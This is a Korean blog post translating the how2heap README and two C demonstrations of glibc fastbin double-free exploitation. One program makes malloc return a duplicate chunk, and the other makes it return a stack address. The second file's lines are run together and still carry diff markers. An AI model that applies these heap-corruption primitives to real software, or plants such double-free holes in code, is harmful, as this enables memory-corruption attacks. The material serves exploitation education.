NULL 잡아먹는 놈

[how2heap] fastbin 번역 본문

0x0030 시스템 해킹 과정

[how2heap] fastbin 번역

34t3rNULL 2017. 8. 24. 23:28

how2heap fastbin에 있는 글을 제 나름대로 번역했습니다. (영어 못해서 ㅈㅅㅈㅅ)

원본 페이지는 => https://github.com/shellphish/how2heap/commit/94eb200e53baa993667f9e82b7a32db693238d61

-------------------------------------------------------------------------------------------------

README.md

-------------------------------------------------------------------------------------------------


# 힙 교육적으로 이용하기


이 보고서는 힙을 활용하는 다양한 기술을 배우기 위한 것입니다.

+ 우리는 해킹 미팅 중에 아이디어를 찾아냈고, 다음과 같은 기술을 구현했습니다.

+

+ |   File   |   Technique   |

+ |---------|----------------|

+ | fastbin_dup.c | fastbin freelist를 악용함으로써 이미 할당되어있는 힙 포인터로 리턴하도록 malloc을 속이는 것입니다. |

+ | fastbin_dup_into_stack.c | fastbin freelist를 악용함으로써 근처 임의의 포인터로 리턴하도록 maclloc을 속이는 것입니다.|

+

+ ## 다른 참고 문서

+

+ 힙 활용 참고 문서 :

+

+- Malloc Des-Maleficarum (http://phrack.org/issues/66/10.html) - 다양한 malloc 활용 기술이 있음


-------------------------------------------------------------------------------------------------

fastbin_dup.c

-------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("이 파일은 간단한 fastbin에서의 double-free 공격을 증명합니다.\n");

	printf("3개의 버퍼를 할당합니다\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("첫 번째 버퍼를 free시킵니다...\n");
	free(a);

	printf("만약 우리가 %p를 다시 free시킨다면, 그것은 크래시를 일으킬 것입니다. 왜냐하면 %p는 free list 최상단에 위치해있기 때문이죠.\n", a, a);
	// free(a);

	printf("그래서, 대신, 우리는 %p를 free시킬겁니다.\n", b);
	free(b);

	printf("이제, 우리는 %p를 다시 free시킬 수 있습니다. 왜냐하면 이것은 free list 최상단에 있지 않기 때문이죠.\n", a);
	free(a);

	printf("이제 free list는 [ %p, %p, %p ]를 가지게 되었습니다. 만약 우리가 malloc을 3번 한다면, 우리는 %p를 두 번 얻을 수 있게됩니다!\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}

-------------------------------------------------------------------------------------------------

fastbin_dup_into_stack.c

-------------------------------------------------------------------------------------------------


#include <stdio.h>
#include <stdlib.h>

int main()
{
	printf("이 파일은 malloc을 속임으로써 조작된 위치로 (이번 경우에는 스택)\n"
	       "포인터를 리턴함으로써 fastbin_dup.c를 확장합니다.\n");

	unsigned long long stack_var;

	printf("우리가 malloc()해서 리턴시키기 원하는 주소는 %p입니다.\n", 8+(char *)&stack_var);

	printf("3개의 버퍼를 할당합니다.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("첫 번째 버퍼를 free시킵니다...\n");
	free(a);

	printf("만약 우리가 %p를 다시 free시킨다면, 그것은 크래시를 일으킬 것입니다. 왜냐하면 %p는 free list 최상단에 위치해있기 때문이죠.\n", a, a);
+// free(a); printf("그래서, 대신, 우리는 %p를 free시킬겁니다.\n", b);
+ free(b); printf("이제, 우리는 %p를 다시 free시킬 수 있습니다. 왜냐하면 이것은 free list 최상단에 있지 않기 때문이죠.\n", a);
+ free(a); printf("이제, free list는 [ %p, %p, %p ]를 가지게 되었습니다. 우리는 이제 %p의 데이터를 수정함으로써 우리의 공격을 수행할 수 있습니다.\n", a, b, a, a); unsigned long long *d = malloc(8); printf("1st malloc(8): %p\n", d); printf("2nd malloc(8): %p\n", malloc(8)); printf("이제, 우리는 가짜 free 크기(이번 경우에는 0x20)를 스택에 써봅니다.\n" "그러면 malloc은 그곳에 free chunk가 있다고 생각할 것이고,\n" "포인터를 그곳에 리턴하는 것에 동의할 것입니다.\n"); stack_var = 0x20; printf("이제, 우리는 %p의 첫 8바이트를 0x40 다음 위치한 곳에 덮어쓸 수 있습니다 .\n", a); *d = ((char*)&stack_var) - sizeof(d); printf("3rd malloc(8): %p\n", malloc(8)); printf("4rd malloc(8): %p\n", malloc(8)); }